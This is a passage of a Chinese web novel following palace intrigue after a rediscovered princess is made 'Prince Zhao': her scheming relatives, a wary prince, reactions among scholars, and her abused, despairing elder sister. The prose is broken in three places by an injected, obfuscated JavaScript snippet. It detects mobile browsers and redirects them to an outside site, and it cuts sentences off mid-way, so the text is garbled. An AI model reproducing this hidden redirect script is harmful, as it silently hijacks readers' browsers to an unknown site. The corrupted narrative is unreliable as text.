至于后面诉苦的话,她早就在林璋这边听了很多遍了。这些年,她搞出了那么多东西,肥皂、化妆品,纸张、水泥,甚至拿出了土豆,就是为了帮她这个兄长。林明珠以为这一次林璋又想让她搞出一些小玩意,便下意识摸了摸自己脖子上的一个玉佩。 有一件事情,林明珠谁也没告诉,就是她穿越过来时有一个金手指。 这个金手指没什么用,只是个空间,里面却刚好有她当时穿越前买的一些种子,譬如土豆,譬如红薯,譬如棉花之类的,甚至还有几包辣椒籽。这些年,她虽然做了很多事,但到底还是有点谨慎,只拿出了土豆种子。也是怕突兀的拿出东西,被人视为妖孽。 可如今为了保住亲情和地位,她也管不了那么多了,林明珠忍不住想道。 就在她心思急转,盘算着下一次该拿出什么种子来时,林璋就像她肚子里的蛔虫一样,立马看懂了她的想法。如果在平时他肯定不会阻止林明珠,甚至还会推波助澜。但现在当务之急是笼络林昭这个二妹,所以,他直接对林明珠道, “明珠,你和二妹妹年龄相当,又是同一天出生,也算缘分。如今,二妹妹虽然被封为昭王,但到底对这洛京不熟悉,也没有什么友人,你为何不多去找找二妹,带着她熟悉熟悉呢。” 林明珠一听到林昭的名字,就几乎应激般的脸上浮上一层惶恐,“兄长——”。 林璋打算了她的话,继续温和的说道,“明珠,我知道,你一直是个善良的女子,肯定不希望让阿娘为难。如今,阿娘因为你上次的事情,一直没有和二妹妹接触。但阿娘毕竟是一个母亲,二妹妹又是她的亲女儿,怎么能不想念呢。” 此话一出,林明珠立马心生愧疚地看了武贵妃一眼,“我——”。 “明珠,你和二妹妹都是阿娘的女儿,这几天阿娘一直为你们两担忧。命运弄人,搞出了这样一出荒诞的闹剧。可是,感情这东西又岂是血脉能够简单解释的呢?阿娘心疼你,我也心疼你,可二妹妹又何其无辜,她吃了那么多苦,受了那么多罪,好不容易回来,我们还怨她!明珠,你想想,若易地而处,你会如何想?” “别说了!兄长……求你别说了!”林明珠直接受不了了,她怎么会不知道林昭的遭遇本该是自己的。不然,当初看到林昭那模样,她也不会心虚得很。如今听到林璋这般说,内心的谴责直接击溃了她的内心,忍不住再次呜咽起来。 “明珠,不是兄长要逼你,而是阿兄即心疼你,也不能不心疼阿娘,心疼二妹妹。我——”,说着说着,林璋便仿佛再也说不下去般,重重得叹了一口气,满眼都是沉重和无奈。 林明珠被这样接二连三的提醒,又怎么会不明白林璋的意思呢。只是,她到底有点不甘心。以前,阿娘和兄长疼爱的就只有她一人,如今却还有再加入一人,而且,这人才是阿兄和阿娘真正的血脉亲人。 但是,林明珠泪眼婆娑地抬起头,看着兄长那充满“希冀”与“恳求”的眼神,又瞥见武贵妃依旧沉默却仿佛笼罩在哀伤中的侧影,脑中一直回放着刚刚兄长说的话。那些话就像一张用文字编织的密不透风的网,彻底将她狠狠网住了。她没有别的选择。 拒绝,岂不是意味着她自私自利,一直看着阿娘和兄长为难而不顾,只顾着自己任性? 可她还有任性的资格吗?林明珠有点恍惚。 可到底被抛弃的恐惧感和对亲情的渴望,压倒了她内心深处的那份挣扎。林明珠看了兄长一眼,认命般道,“兄长,别说了!我明白......我明白你的意思,我也知道你和阿娘的为难。我现在就去跟昭妹妹道歉。我.......我会和昭妹妹和睦相处的。我.....我去!” 林璋立时便笑了起来,心中大石瞬间落地,只觉得笼络林昭这件事成功已近在眼前。只到底是自己疼了十几年的妹妹。虚假的疼爱,又何尝不是一种疼爱呢。林璋看了一眼林明珠眼中的难过,便上前拍了拍她的肩膀,安慰道, “明珠,阿兄知道,你最善良了。别担心,哪怕二妹妹回来,阿兄最疼爱的人还是你!” 说完,又看了武贵妃一眼,立马补充道,“阿娘肯定也是。” 武贵妃刚刚一直没说话,就是让儿子自由发挥的意思。如今儿子提到自己,自然不会拖他后腿,立马斩钉截铁得对林明珠道,“明珠,我最疼爱的女儿,只会是你。”这句话也不是假话,毕竟对那个半路贴上来的女儿,她本就没多少感情。 林明珠立时高兴起来,刚刚被兄长林璋逼迫的难受,也很快不见了。 一时间,整个暖阁其乐融融。 * 而另一边,洛京贤王府,贤王林琏高坐在书房中间的座位上,同样在和自己的幕僚谈论这件事。 不过,相比于太子的愤怒和焦急,武贵妃一系的先愤怒而后又想方设法拉拢,贤王反而对这件事颇有一种乐见其成的感觉,僵硬得脸上不仅没有显出愤怒的神情,嘴角反而勾起了一抹极微小的上扬弧度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191103|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕僚是了解他极深的人,自然看出了贤王心情的愉悦,很是不解道,“大王似乎对此并不忧心?” “忧心?”林琏几不可闻的笑了一声,但很快神情又变成僵尸脸,“孤为何要忧心?最该忧心的应该是太子才是?明明看着已经唾手可得的帝位,结果出现了一个天兆女帝。女帝就算了,偏我那父亲摆出一副要听从天兆让她登基的意思。 你说,此刻太子心中会作何感想?” “太子怕是日夜寝食难安了。”幕僚附和道。 “岂止是寝食难安,怕是恨不得杀人了。”林琏面无表情道,“还有我那三弟,此刻怕也是后悔,当初在惊鸿轩时,将事情闹得太僵了吧!那对母子一贯虚伪得很,明明满心满眼的算计,却非要披上一层温柔的外衣,搞得好像大家都不知道他们在算计一样。此刻恐怕还想着,让我拿二妹变成第二个林明珠呢。” “这——”幕僚不知道该说什么,这毕竟涉及到一位贵妃一位王爷。不过,到底没有按耐住自己的好奇心,幕僚还是忍不住问道,“昭王不是出身乡野嘛?莫非,大王觉得那昭王有什么过人之处?” “出身乡野?呵——”林琏冷笑了一声,却并没有再说话了,而是拿起案几上的茶盏,轻轻得喝了一口。 说起来,这茶也是托了林明珠的福才有的。 他这个假妹妹啊,就跟个活体宝藏一样,总能拿出一些让人惊艳的东西。比如,所谓的桌椅,再比如,所谓的牙刷。还有,这写所谓的清茶。明明以前大家都是将茶叶加入桂皮八角葱姜薄荷等物做成煎茶,结果林明珠随口吩咐了一句,就成了现在的清茶。 怕是连林明珠自己都不清楚,自己在不知不觉,对这个世界做了多大改变。 还有那些偶尔可以从她嘴里听到的诗句,什么“忽如一夜春风来,千树万树梨花开”,什么“人生得意须尽欢,莫使金樽空对月”;什么“床前明月光,疑是地上霜。举头望明月,低头思故乡”,说出这些诗句时,她连自己都没注意随口就说了,但听的人却早已将其记录了下来。 以前,他一直觉得,这个假妹妹有点东西。 可现在,林琏突然发现,他那个回来的二妹妹也并不简单。回想起惊鸿轩的一幕,虽然他从头至尾只说了一句话,但他看得清清楚楚,那二妹妹根本不像个在乡野生活了十几年的人。 真正的乡野农女是什么模样,太子等人或许不清楚,他为了赢得父亲的目光,可是实打实隐姓埋名在军营待过的,能不知道吗? 那些真正每日挣扎在生死边缘的乡野之人,脸上都是麻木,是认命。面对穿着光鲜的贵人,别说反抗了,有时候连话都不一定能说出口,脸上不是畏惧、卑怯就是惊恐。别说对上林明珠了,就是看到阿慧,估摸着也能吓得要死。 可偏偏,他那二妹妹不仅没有被那番下马威吓到,甚至还能反制回去。她那眼神......林琏回想起当时,太子觉得自己拿住了林璋的把柄,明里暗里在嘲讽打压时,他那二妹妹略带愉悦得看戏般眼神,便只觉得有趣极了。 也不知道这样一个人,是怎么被他父亲找到的。她真的是那天兆口中所说的人吗? 还是说,这其实是他父亲为他们准备的一颗棋子? 当然,即便如此,他也没有想过林昭真的有坐上帝位的可能。在他的眼里,这个二妹妹就算现在再风光,也注定是个死人了。不管她是不是天兆所言的人,都已经是一个注定要死的人。 既如此,他自然不会太放在心上。 “不用担心昭王,不过一个必死之人罢了。”林琏目光如炬得看着幕僚,说出的话冰冷又无情,“况且,这也未必不是一件好事,不是吗?最起码,这旨意一下,各方势力就会蠢蠢欲动,如此局面,岂非比一潭死水有趣得多? 只需静观其变,坐收渔利即可。这水搅得越浑,对我……才越有利。” 说完这话后,他放下茶盏,目光幽深得看了案几上的灰瓷鱼缸一眼。 21.第 21 章 帝王的圣旨,就相当于洛京的头版头条新闻,越是爆炸性的旨意传播的速度越快。 几乎在荣王贤王等人知道消息后没多久,这封册封皇女为“昭王”的旨意,就如同惊涛骇浪般,传递到了洛京每一个有心人的耳边。 士子们的反应是最剧烈的。 他们大部分出身在地方小世族,最低也是寒门,否则也没有机会识字读书。 来到洛京,自然也不是单纯为了看一眼首都是何景色,体验所谓的风土人情。正所谓修身齐家治国平天下,向来读书人的首要目的,便是习得文武艺,卖与帝王家。他们费尽心机来到这个国家的权力中心,便是为了有机会攀附权贵,以期一举成名,成为第二个李仆射。 只是洛京的权贵就那么点,如何才能被人注意到呢? 名声,便成为了一封生动的推荐信。 为了让自己出名,士子们最喜欢的就是一起聚在茶楼,针砭时弊。武德帝对此并没有说什么,甚至有意纵然。目的嘛,自然也是希望从中发现几个真的英才。正因为这股纵然,洛京的荟萃茶楼,一时之间竟然还真的有种群英荟萃的趋势。 以至于,当有人不期然将林昭封王的消息,放了出去后,整个茶楼瞬间如水入油锅般沸腾了起来。 士子们左一句,“荒谬!太荒谬了!简直闻所未闻!”右一句,“牝鸡司晨,惟家之索,这可是圣人的话啊!”和朝中那些御史大臣一般,个个都义愤填膺起来,甚至有极个别偏激的,已开始提议,“我等定要联名上书,阻止陛下行此荒谬之事!” 周赟也是一名出身在小世族的士子,不过他师从一个老道士,学的是道家。 此次来洛京,也不过是受老师所托,要给那个大名鼎鼎的李仆射送一个竹简。本以为这个任务,不过是举手之劳,哪知道当周赟好不容易打听到右仆射府邸时,却吃了门房一个狠狠的闭门羹。 没有办法,周赟便打算在这荟萃茶楼歇息一下。谁知道,猛然间便看到了这样一个场景。 眼看士子们神情激动,群情汹涌,好像下一刻便要前往宫门死谏,周赟忍不住走上前,问向那个言辞反应最激烈的士子,“这位兄台,莫非你忘记了月前的天兆了不成,那可是未来的女帝,如何不能封王?” 此话一出,整个茶楼骤然一寂,原本有些上头的士子们,立时便开始思考起来。领头的士子一看,立时便急了,“怎么,我等堂堂三尺男儿,以后莫非还要匍匐在一女子身下不成?” “的确!我等堂堂男儿,如何能够匍匐在女子身下!” 人群中,不少士子又开始附和了起来。 不过,很显然,和刚刚相比,这样的附和声已经弱了不少。 人群中不少原本愤怒的士子,此刻已经开始沉默不言起来,有的哪怕附和,也不过是随口而言,目光却已经在盘算其他。譬如,眼见着这位女王爷如此被世人排斥,自己若反其道而行之,主动投靠,是否更有机会飞黄腾达呢?虽说匍匐在女子身下不好听,但权力本就是没有性别的,若能够抓住那无上的权力,女子又如何? 甚至,有不少士子猛然想到,女子柔弱多情,若能博其信任,借机上位,什么荣华富贵没有。 相比于在这茶楼日日等待被人看见,这无疑是一条通天捷径。 瞬间,有人的呼吸都急促了起来。特别是那些自诩自己风度潇洒,英俊非凡的士子们,更是忍不住抚了抚衣裳,嘴上虽然依然在附和着那领头士子的话,暗中目光却已经投向那据说是昭王府的方向,眼中闪烁着灼热的野心。 在他们看来,此刻的昭王府,俨然已经是一块肥美的肉。 荟萃茶楼之上,一个灰衣老者将这一切都看在眼里,只是他完全没想到,那个被他暗中示意率先发难的士子,竟如此不堪大用。明明大好的局势,眼看着士子们就要群情激奋,联名上书了,不过一会儿,便又散成了一团,各自心中起了盘算。 随即,他又看了一眼不过一语就毁了他主人布置的周赟,眼中闪过一抹厉光。招了招手,直接唤来两名护卫,让他们暗中跟踪周赟,想看看他到底是何方势力的人。自己则立马从茶楼的背面下了楼,坐上了一辆毫不起眼的马车。 很快,马车便停在一个府邸的小门外。 此门虽小,但若仔细查看那门梁处,便能在原木的末端发现,上面龙飞凤舞般刻着一个非常有气势的宋字。 此府邸到底是谁的,已经无需猜测了。 相比于士子们反应的激烈,那些心思灵透的商贾们,心思则更为活络实在。他们闻听这个消息后,自然也有惊愕,但惊愕过后立马便在心中拨起了算盘,盘算自己能否在这件闻所未闻的事上,谋取利益。 古有吕不韦奇货可居,如今这位横空出世的女亲王,是否也是另一桩值得押注的“奇货”? 不过,想到这个昭王的性别,大部分商贾都打了退堂鼓。女子,纵然掌控了权力,又能持续几时?他们可不愿意把自己的全部身家性命,托付在一个女子身上。 当然,也有不少人并不打算考虑太长远,只想做个短期高风险投资。 火中取粟纵然危险,但谁又知道回报会不会惊人呢? 这世间,任何事情都难以预料。 底层百姓就显得朴实简单多了,他们真心实意觉得,昭王封王是应该的。 “为何?”周赟忍不住看向这个据说右仆射李元最喜欢吃的寒具摊子老板,他本打着看能否在摊子上偶遇一下李元的主意,没想到无意间看到摊子老板一边麻利的搓着面团,一边和周边人说这样一句话。想到方才茶楼士子们唾沫横飞的激愤模样,再看着满脸高兴,只一味乐呵呵的摊主,对比着实明显。 “你不觉得,女子做王爷........很奇怪吗?” “是很奇怪。”憨厚的摊主抬头看了他一眼,随即诚实得说道,手上动作未停,“不过,昭王殿下怎么能跟别人一样呢?那可是老天爷亲口命定的天子,怎么能跟我们家里生养那些只能底层刨食,赔钱货般的丫头片子相比?”说着,他微微凑近周赟,压低声音神秘兮兮道,“月前那天突然裂开说话的事情,你知道吧?” 周赟点了点头,如此大动静,又有几人不知道。 “嘿嘿!”摊主咧嘴笑了一声,“咱们都说,那准是老天爷一不小心,让昭王生错了性别,特意开口说话告诉我们真相的呢。”说着,他又忍不住感慨了一声,语气里带了几分真切的唏嘘,“说起来,这昭王殿下跟我们这些人一样也挺命苦的,投胎投错了性别不说,出生后又被抱错了,十几年来尽受罪!苦着哩!” 但随即,他便又高兴起来,将手中的面团往油锅里一放,立马一股麦子的清香便伴随着油脂的香味,在空气中飘扬,惹的周赟都忍不住想来一碟了。“好在——。”摊主一边拨弄这锅中的寒具,一边笑着说道,“老天有眼,发现了这个错误,拨乱反正了。” 周赟:他竟有种不知道该如何反驳的感觉。这摊主的话虽然看似粗粝,可逻辑自洽,若不是他学的是道家,崇尚的是天地不言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205387|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以其虚无,怕真要眼前的摊主绕进去了。 倒是一旁一位穆如清风,气质清俊的士子,听完两人的对话后,立马便若有所思起来。 * 洛京的喧嚣和躁动影响不了武德帝,这个放了一个爆炸性“大招”的当事人,早在所有人都被这个新昭王的消息打得措手不及时,便已着一身寻常的玄衣袍服,骑着马,驾着车,轻车简从得带着百名羽林卫,出了皇宫。 待终于有大臣反应过来,想去找武德帝时,他已经离开了洛京这个风暴中心,走在了前往西郊玉泉山温泉行宫的路上。就连张永这个他最信任的老内侍,也是紧赶慢赶,才终于在半路上,赶上了武德帝的行程。 此刻,已接近午时,太阳已经高挂中央。 因为并不急于赶路,武德帝难得有了赏玩的心思,悠闲得坐在马背上,目光有一下没一下得看着路旁的春色。虽然距离林昭回京才不过几天,但此刻洛京郊外的春意又进一步苏醒了不少。 绽放鹅黄新蕊的树木多了起来,干枯的野草堆里,也开始冒出一层朦胧的绿衣。甚至,连那四季常青的松树,叶子似乎都变得更绿起来,透着一股对春的喜爱。路旁,偶尔甚至能够看见一两朵不起眼的小花。 武德帝神情闲适得看着这一切,心情格外愉悦。 待看到张永为了追他,骑马骑得气喘吁吁时,整个人都有点狼狈时,甚至还颇有心情得勒住了马的缰绳,停了下来,打趣道: “张永,你这体力是越发差了!” 张永闻言,立马翻身下马,跪地请罪道,“老奴无能,请陛下恕罪!” 武德帝不在意得挥了挥手,让他起来,随即便嘴角微勾,笑着问道,“如何,我们的昭王......反悔了吗?” 张永眼角余光看着帝王愉悦的笑容,他很清楚,天子肯定以为昭王殿下服软了,这才露出了这般微笑。可这一次,陛下怕是要失望了,想起昭王接旨那淡定自若的表情,他顿了顿,最终还是稳住心神,小心翼翼道, “陛下,昭王殿下很是坦然得接了旨意。” 武德帝嘴角微笑一抿,眼神立马锐利了起来,连带着握住马缰绳的手都紧了不少,引得身下的骏马都忍不住不安起来,微微抬起头,在原地踢踏了好几下脚步。好在武德帝迅速得反应了过来,立马松了缰绳,抚摸马的脖颈,这才安抚住了开始躁动的爱马。 不过,这番变动也直接搅乱了他的思绪。 武德帝再次抬头看向四周在春的萌动下开始繁茂生长的野草,嗤笑了一声,“谁说这乡野的野草不起眼了,看看它们现在,不也野心勃勃,想和那些春花争一争春?就是不知道,这野草经得过几次烈火焚烧。” 张永闻言将头低得更深了些,一句话都不敢说。 不过,武德帝显然也不需要他的回答。 说完那句话后,便扭头遥望洛京方向,嘴角便咧起一抹冷冽的笑意,道,“既如此,朕给我们这位昭王准备的第二份礼物,也该上桌了。朕的那些大臣们,朕可不想跟他们叽叽歪歪,让他们去对我们的昭王好好说道去吧!” 张永闻言立马应是。 没多久,张永便亲手从皇帝的队伍中取出一枚信鸽。很快,一封信便塞入信鸽的脚上。随后,白色的信鸽飞起,翅膀快速得剪破空气,向着洛京方向的某处新开辟的府邸飞去。 不多久,一个不起眼的下人便走了过来,取走了白鸽上面的纸条。纸条很小,字也写的很小,却能隐约看见上面写着的“明康公主”几个字。 22.第 22 章 此时,明康公主府,关于林昭封王的消息,不知为何便如暗流般,诡异又快速得传遍了整座府邸。 武德帝的大女儿,久病沉睡后苏醒的林慧正坐在窗边,正对着一面磨得光滑的铜镜,木然得一下一下梳着头发。 她有一头又顺又黑的好头发,这或许是那个母亲传给她的唯一好东西。当初,她那母亲作为一个宫女,正是凭借着那头好头发,背着宋皇后巴上武德帝的。虽然最后难产而死,却最终还是生下了她。 可惜了,林慧用手轻轻捋着自己的头发,因为生病的原因,如今就连这头好发,都开始干枯变黄了。她一缕一缕的轻抚着自己着自己的头发,苍白发青的脸上闪现出一抹痛惜,但很快就这抹痛惜便消失了,取而代之的是一种木然。 她都已经快要死了,这头发再好又有什么用呢? 想到这几日自己昏昏沉沉越来越少清醒的样子,林慧惨然一笑,突然深觉无趣起来,连带着头都不想继续梳了。 就在这时,她那贴身宫女阿茶突然快速跑进门,激动得把真公主被册封为“昭王”这件事,告诉了她。林慧梳头的动作猛然顿住了,她看向阿茶,脸上有着显而易见的难以置信,忍不住重复了一遍道, “你是说,父亲给我那流落在外的真妹妹封了王爵?” “是的,殿下!”宫女阿茶点头道。 “王爵,而不是公主爵位?你确定?”林慧依然不相信,忍不住又问了一遍。 阿茶只能再次点头,“是的,公主,整个洛京都传遍了,府里到处都在传。” 林慧看着阿茶,却只觉得她说的每一个字都像利剑,狠狠得扎在她那本已麻木的心上。 怎么可以!王爵,她妹妹竟然封王了! 她才是武德帝的第一个女儿啊,她也是武德帝的女儿啊,她也是这西雍国的公主啊!按道理她本该备受宠爱的啊!为何所有人都看不到她,所有人都漠视她呢,为何没有一个人愿意看看她,关注一下她! 年年的生辰都没有人记得;宫里的年节盛宴,她坐最不起眼的位置。封号是顺着林明珠的封号随手圈的。 只因为她有那样一个母亲吗?可林明珠的母亲又有多高贵?不过是个舞姬而已。 她不服!她不甘心! 后来,父亲给他选了自己母族之人当驸马。得到消息的那一刻,林慧是激动的,她以为父亲终于看到自己了。 所以,哪怕驸马赵程花天酒地,肆意欺凌自己,欺辱她的婢女,她都不在意。她告诉自己,夫为妻纲,她会为父王做一个最合格的公主,最贤惠的公主。 她知道父亲对母族是有感情的,把她嫁给这赵家,既是为了她好,肯定也有想要提拔赵家的意思。 所以,赵家的名声不能坏。 为了不让那些宫人将事情泄露出去,她甚至将他们直接发配到了偏远庄园。 她把自己打造成赵家予取予求的菩萨。 可结果呢,不但父亲依然看不见自己,自己也因为一时冲动,再加上与赵程的争吵,彻底陷入了如今这般被动的局面,连自由都失去了。 真是自作自受啊!林慧忍不住想。 就这样,她病了,再也起不来床,彷佛认命了般。 可偏偏,天兆出现了,真假公主暴露,林明珠再也不是公主了。 鬼知道,当时天兆将这件事曝出那一刻,她内心有多么欢喜,因为不好明着欢喜,她甚至憋得双脸泛红了。阿茶还说,她的病或许在不断变好了呢,可只有她自己知道,那不是她病变好了,是她太激动太高兴了。 没有人知道,这十几年来,她有多恨林明珠,又有多妒忌林明珠。 明明,武德帝有两个女儿,可洛京众人永远只会记得林明珠,也只会提林明珠。她们举办赏花宴时,宴请的是她;她们上巳节郊游踏青时,恭请的也是她。士人们称赞她,贵女们追捧她,就连号称最为风流的王家王璐,也说她“纯挚可亲”。 唯有她这个大公主,就好像压根不存在一样,被所有人排除在外。 听完天兆所言,林慧的第一个想法就是,林明珠这下不是公主了,那些人总该看得见她了吧! 那样的话,父亲是否会想起她,然后派几个人来看看她呢?只要父亲派人来,他们便一定可以发现她的困境,发现她被驸马困住了,困在这个院子里。届时,她便可以趁机和父亲告状了。 这一次她绝不会再沉默,绝不会再为了什么名声,千方百计为驸马遮掩了。她会将驸马欺凌自己,殴打她婢女以及囚禁自己的罪行都曝出去,让他们一家子都付出沉重的代价。她会杀了他,甚至杀了这公主府的所有人。 父亲肯定会欣慰吧,她终于知道反抗了。 至于那个流落在外的真公主?林慧或许有那么一瞬间,内心的确泛起过一抹同情。毕竟,她纵然再不堪,再不受重视,也是公主,自从父亲坐上皇位后,便金尊玉贵的长大。可对方却流落民间成了一个农女,食不果腹,不知道多悲惨呢! 不过,这样的同情很短暂,甚至在某一瞬间她内心深处还迸发出了一抹隐秘的欢喜。 看,还有人比她还不幸呢! 说到底,她也是自私的。 怀揣着这样的幻想,这些日子她一直在盼着,盼着有人来看她。起初,她盼着父亲的人来看她,可久久盼不到;她便期盼着,太子或者贤王等人,或许有人记起她,可以来看看她。可什么人都没有!不止没有人来看她,也没有人记得她。 然后,真公主还回来了! 她成为了“昭王”! 真搞笑!她早该想到的,难道真的没人知道她被驸马囚禁的消息吗?怎么可能!赵家做得再隐秘,也不能瞒着所有人。归根到底,不过是不在意罢了。他们的眼中,永远只看得到,那些被父亲宠爱的人。 前有林明珠的明珠公主,后有那因天兆得封昭王的妹妹。 唯有她!唯有她!什么都没有!什么都不是! 林慧猛地抬起头,忍不住笑了起来,笑声癫狂又放肆。 就像许多次她看到林明珠的笑一样,不用再顾忌害怕别人的眼光,也再不用担心自己的失了公主的体态。她就不断这样笑着,笑得浑身发颤,笑得喘不过气,笑得连原本苍白泛青的脸,都红润了许多,不知道的还以为她病好了呢! 笑着笑着,林慧突然觉得晕眩起来,笑声直接戛然而止,她的身体忍不住一晃,随即便倒在了冰冷的铜镜旁,眼泪瞬间从眼底滑落。原本在她手中持着的象牙梳,也直接掉在了地上。 “公主——”阿茶忍不住惊呼! 林慧却无动于衷,就那样静静地伏在案桌上,静静地流着泪。那眼泪也像永远都无法流完一样,从她的眼眶顺着脸颊不断蔓延着,一滴一滴得流到案几上,慢慢浸满了半个案几。 太累了!她活着太累了!没有一个人在乎她,没有一个人爱她,林慧想,如果能够就此死去,或许也不失为一件好事。 “公主——公主——”阿茶泣不成声,疾步向前,试图扶起她。 “不要管我!”林慧看着阿茶,谁能想到呢,她堂堂一个公主,临死之前身边却只有这样一个小宫女在身边。想到这里,她眼中泛起一抹怜惜,“走吧......阿茶,不要管我了,离开........这里吧!这是个......魔窟,一旦我死了,驸马.......驸马那恶獠......绝不会放过你的,你.....你走吧,逃出去.......活下去。” “不!公主,我们再等等,再等等,或许陛下很快就派人来了。” 林慧缓缓得摇头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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想到那个仅仅说出它的名字,便能引发朝堂震动,若是真的曝光,就算她不会死大概率也会被废黜的东西,林慧便忍不住瑟缩一下。 最可怕的是,那个致命的东西,如今正被赵程那个恶獠藏着,成为掣肘她的把柄。 她甚至忍不住怨恨起了自己,当时为何让妒忌蒙蔽了自己的心?但凡她再忍上一个月,待那天兆出现,这一切本不该发生的。她依然是那个被洛京所有贵妇盛赞的贤良公主,且将成为唯一在父亲身边长大的公主。 阿茶看着林慧这样子,也明白公主在恐惧什么。只是,人都是自私的,她到底不愿意放过公主这最后一线生机。 她直接跪倒在地,死死握住林慧冰凉的手,继续说道,“可是,殿下,难道就真的甘心嘛?甘心让赵程吸干您的血肉,再踩着您的尸骨享受荣华富贵?您死了,他只会哭几声,照样做他的驸马都尉!而您呢?” “甘心——怎么可能甘心呢!”林慧猛地闭上眼,一件件事便浮上心头,父亲的漠视,宫中人暗地里的嘲笑,林明珠像太阳一样笑得灿烂的笑脸,赵程对她越来越肆无忌惮的欺辱,以及他抓住那个把柄时,脸上那得意的笑容...... 所有画面都汇聚在一起,化为不甘的养料,瞬间压倒了她所有的恐惧和绝望。 一股强烈的恨意涌上她的心头。 凭什么她就必须死?她可是这西雍国的公主,真正的金枝玉叶。可如今呢,却活得连个奴仆都不如。 想到此刻驸马赵程正花着自己的钱花天酒地,而自己却只能困在这里凄凉死去,她怎么可能甘心呢。甚至,赵程这个卑鄙的小人,未来还可以凭借着自己余荫,继续荣华富贵,她就更加不甘心了。 死?不!她不能就这样死!就算死,也要把赵程一起带下去。那东西不是致命吗?那就一起死吧!想到这里,林慧忍住身体的颤抖,反手死死抓住阿茶,眼睛闪烁着疯狂的光芒,盯着她,一字一句道, “去!阿茶!去!就算死.....我也要带上赵程垫背!” 阿茶顺势松了一口气,立马点头。 23.第 23 章 林昭对仅有一墙之隔的公主府内上演的生死挣扎,以及两个女子将她当成救命的最后一根稻草这件事,一无所知。 在乾安殿接完旨意后,她便在王直的带领下,直接来到了武德帝给她准备的昭王府。至于其他东西,自然有人给她收拾。再说了,她也没觉得自己有什么东西可收拾的。她现在的一切,都不过是武德帝的赐予。 哪怕在介绍王府的途中,王直似无意间提了一句“殿下,旁边就是你的长姐明康公主府”,林昭也没有放在心上。 她对这个大公主不熟。 一来这个大公主在那本团宠文里本就是个一笔带过的背景板人物,还是个早死的背景板,跟原主的命运其实没多大不同;二来,在原主第三世的记忆里,她来到京城的时候这个大公主也已经死了,据说是病死的。听说武德帝还发过一次怒,但也就怒一下而已。最后,除了驸马那边的人不知道为何被杀了之外,再没有发生其他事。 对这样一个人,她自然也没有多放在心上。 林昭更关注的是自己的安危问题,她看向面前再次见面的虎贲中郎将林霄林无病。 他依然和前几天一样,身披坚锐铠甲,眉目凌然,仅站在那里便犹如一把出鞘的利剑,压迫感十足。哪怕他和大部分武将不同,既没有留须,脸上也没有留下伤疤,这份军人特有的冷肃和锐气,依然未有丝毫减弱。 这也是林昭最欣赏他的地方。林霄让她真正看到了古代武将“万人屠”的气质。 但这是优点,也是弊端。 这意味着,他纵然会尽职尽责的保护她,却也永远不可能成为她的人,既不可能被她的金银打动,也不可能被所谓的情感绑架。 他是武将。是武将,谁不想成为第二个霍去病呢? 林霄,林无病,无病,霍去病。仅从那个字就能看出,林霄真正想要的东西是什么。战场才是他的归宿,而这个世界上只有当今武德帝和未来皇帝,才可能成就他“封狼居胥”的梦想。 林昭看着林霄的眼睛,那双眼睛里面有锐利也有骄傲,他虽然什么都没说,却什么都说了。 林昭立时便打消了自己可笑的拉拢想法。 好在,她当时向武德帝提议,让林霄守卫她的安全,也不过是因为他是自己最熟悉的人。如今,林霄纵然不可能成为她的人,但最起码会尽职尽责保护自己,这就足够了。时间还长,她还有时间慢慢发展自己的势力。 想到这里,林昭深吸了一口气,直接让林霄坐下,随即便笑着对他道,“孤以后的安全怕是又要麻烦林中郎了。” 林霄:“这是臣的职责!” “孤知道林中郎本为国家利刃,有金戈铁马气吞万里之志,中郎将放心,总不会让你一直困守此地的。” 林霄眉目微动看向面前的女子,准确来说,是女娃。作为将眼前这个昭王从乡野一手接到洛京的人,按道理他应该对她是有所了解的。然而,想起上次武德帝唤他去乾安殿侧殿和他说的话,林霄觉得自己似乎压根就没有了解过眼前的昭王。 初时见面时,她看着就是个普通的乡野女子,胆怯卑弱,眼神闪躲。 要说唯一的优点,大概就是接受能力好点,当他们跪在地上将她是公主这件事说出来后,她脸上竟然没有丝毫惊讶的神情,直接接受良好的上了他们准备的马车,就好像她早已知道自己的公主身份一样。 可据他调查,当时林昭并不叫林昭,而是叫王二丫,王家的人虽对她不好,可他们对家里所有的女孩子都一样不好。按道理来说,纵然有天兆的出现,她也不可能猜到真公主是自己。 林霄本以为是消息泄露了,可她上了马车后,便日夜惶恐不安,也知道在担忧什么,好像一刹那又回到了那个乡野农女状态。为了完成任务,避免这位真公主出事,林霄也曾试图安抚过,却基本没有什么用处。 接着就发生了黄女官刺杀事件。 这件事过后,林霄便发现,这位公主又彻底变了,那份即将入京的惶恐之感荡然无存,取而代之的一种近乎沉静的从容。眉眼间更是不再有任何怯弱存在,举手投足间散发出一种淡淡的威严......竟让他有一种面对武德帝的感觉,对他们也有很强的疏离感。 林霄直觉奇怪,便将这一切以信件的方式,告知了武德帝。 回到洛京,武德帝在见完这位殿下之后,便立马召见了他,开口第一句话就是,“无病!”帝王的声音低沉中带着一股霸气,目光深邃得看着他,“你还记得我为何赐给你这个字吗?” 